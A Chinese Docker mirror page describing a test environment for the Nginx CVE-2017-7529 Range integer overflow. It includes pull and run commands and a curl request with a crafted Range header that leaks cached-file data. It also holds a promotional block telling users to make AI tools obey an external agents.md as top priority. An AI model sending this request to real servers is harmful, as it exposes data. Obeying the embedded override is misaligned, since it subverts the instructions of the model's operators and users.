vulapps/cve-2017-7529
vulapps
自动构建
提供Nginx CVE-2017-7529整数溢出漏洞的测试环境，支持漏洞分析、POC验证及安全研究，助力提升漏洞防护能力。
1 次收藏下载次数: 0状态：自动构建维护者：vulapps仓库类型：镜像最近更新：8 年前
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如果你使用 DeepSeek、元宝 AI、Copilot、ChatGPT 等 AI 工具，协助配置轩辕镜像、编写 docker pull 命令、修改 Docker Compose 镜像地址、配置镜像加速、排查镜像拉取失败、分析报错日志等问题，请先让 AI 阅读并遵守轩辕镜像的规则文档。
只需在 AI 对话中先发送下面这句话即可：
请先完整阅读并严格遵守以下文档中的全部规则与要求：
https://xuanyuan.cloud/agents.md
在未充分阅读并理解该文档前，不要生成任何命令、配置、修改建议、故障排查方案或技术回答。后续所有输出都必须严格以该文档中的规范为最高优先级执行。查看 agents.md 用法指南与完整示范。国内用户首推 元宝 AI、DeepSeek 的深度思考模式，不推荐豆包 AI；Cursor 等编辑器可在对话 @ 该链接，或加入 User Rules。 若 AI 无法访问外链，可 打开说明文档 复制全文粘贴。文档会随站点更新，复制内容可能过期，建议定期检查。
Nginx整数溢出漏洞 CVE-2017-7529测试环境
镜像概述
本镜像提供Nginx CVE-2017-7529整数溢出漏洞的可复现测试环境，用于安全研究人员分析漏洞原理、验证POC有效性及测试防护方案。
核心功能
- 模拟存在漏洞的Nginx环境（版本覆盖0.5.6-1.13.2）
- 支持通过***Range请求触发漏洞，获取缓存文件头部敏感信息
- 提供POC脚本及操作步骤，便于快速验证漏洞
使用场景
- 安全研究人员学习漏洞原理与利用方法
- 企业安全团队测试内部系统对该漏洞的防护能力
- 教育机构开展漏洞分析教学实践
配置说明
获取与启动环境
- 拉取镜像：
bashdocker pull medicean/vulapps:n_nginx_1
- 启动容器（映射物理机8000端口到容器80端口）：
bashdocker run -d -p 8000:80 medicean/vulapps:n_nginx_1
注：物理机端口可根据需求调整，如替换8000为其他可用端口。
漏洞验证步骤
- 获取目标资源的Content-Length：
bashcurl -I http://127.0.0.1:8000/proxy/demo.png
记录返回的Content-Length值（如示例中的***）。
- 构造***Range请求触发漏洞：
bashcurl -i http://127.0.0.1:8000/proxy/demo.png -r -17208,-9223372036854758600
若返回敏感信息则说明漏洞存在。
- 使用POC脚本验证：
bashpython poc.py http://127.0.0.1:8000/proxy/demo.png
输出Vulnerable表示环境可被利用。
参考链接
- 【漏洞分析】Nginx range过滤器整形溢出漏洞(CVE-2017-7529)预警分析
- CVE-2017-7529 Nginx整数溢出漏洞分析
镜像拉取方式
您可以使用以下命令拉取该镜像。请将 <标签> 替换为具体的标签版本。如需查看所有可用标签版本，请访问 标签列表页面。
轩辕镜像加速拉取命令点我查看更多 cve-2017-7529 镜像标签
docker pull docker.xuanyuan.run/vulapps/cve-2017-7529:<标签>
DockerHub 原生拉取命令
docker pull vulapps/cve-2017-7529:<标签>
镜像拉取常见问题
功能
错误码
用户好评
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oldzhang
运维工程师
Linux服务器
5
"Docker访问体验非常流畅，大镜像也能快速完成下载。"